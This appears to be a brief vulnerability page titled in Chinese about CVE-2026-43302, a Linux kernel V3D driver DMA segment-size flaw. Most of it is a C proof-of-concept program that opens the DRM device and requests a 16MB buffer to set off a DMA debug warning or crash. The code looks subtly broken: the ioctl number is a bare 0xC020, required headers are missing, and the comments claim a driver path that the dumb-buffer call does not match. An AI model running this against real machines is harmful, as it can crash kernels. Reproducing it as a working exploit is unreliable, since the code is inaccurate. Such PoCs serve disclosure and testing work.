CVE-2026-43302: Linux内核V3D驱动DMA段大小设置缺陷

/* * PoC for CVE-2026-43302: Trigger V3D DMA debug warning/crash * This code attempts to create a buffer object (BO) larger than 64KB * using the V3D driver to trigger the debug_dma_map_sg warning. * Requires: Root access, V3D hardware (e.g., Raspberry Pi), * and kernel built with CONFIG_DMA_API_DEBUG enabled. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdlib.h> #include <string.h> // Simplified DRM structures for demonstration #define DRM_IOCTL_MODE_CREATE_DUMB 0xC020 struct drm_mode_create_dumb { uint32_t width; uint32_t height; uint32_t bpp; uint32_t flags; uint32_t handle; uint32_t pitch; uint64_t size; }; int main() { int fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct drm_mode_create_dumb create_req = {0}; // Request a buffer larger than 64KB (e.g., 4096x4096x4 bytes = ~16MB) create_req.width = 4096; create_req.height = 4096; create_req.bpp = 32; // Trigger the v3d_create_bo_ioctl path // This leads to v3d_bo_create_finish -> dma_map_sgtable if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &create_req) < 0) { perror("IOCTL failed"); close(fd); return 1; } // Check dmesg for: // "DMA-API: v3d ... mapping sg segment longer than device claims to support" printf("Buffer created. Check dmesg for DMA warnings.\n"); close(fd); return 0; }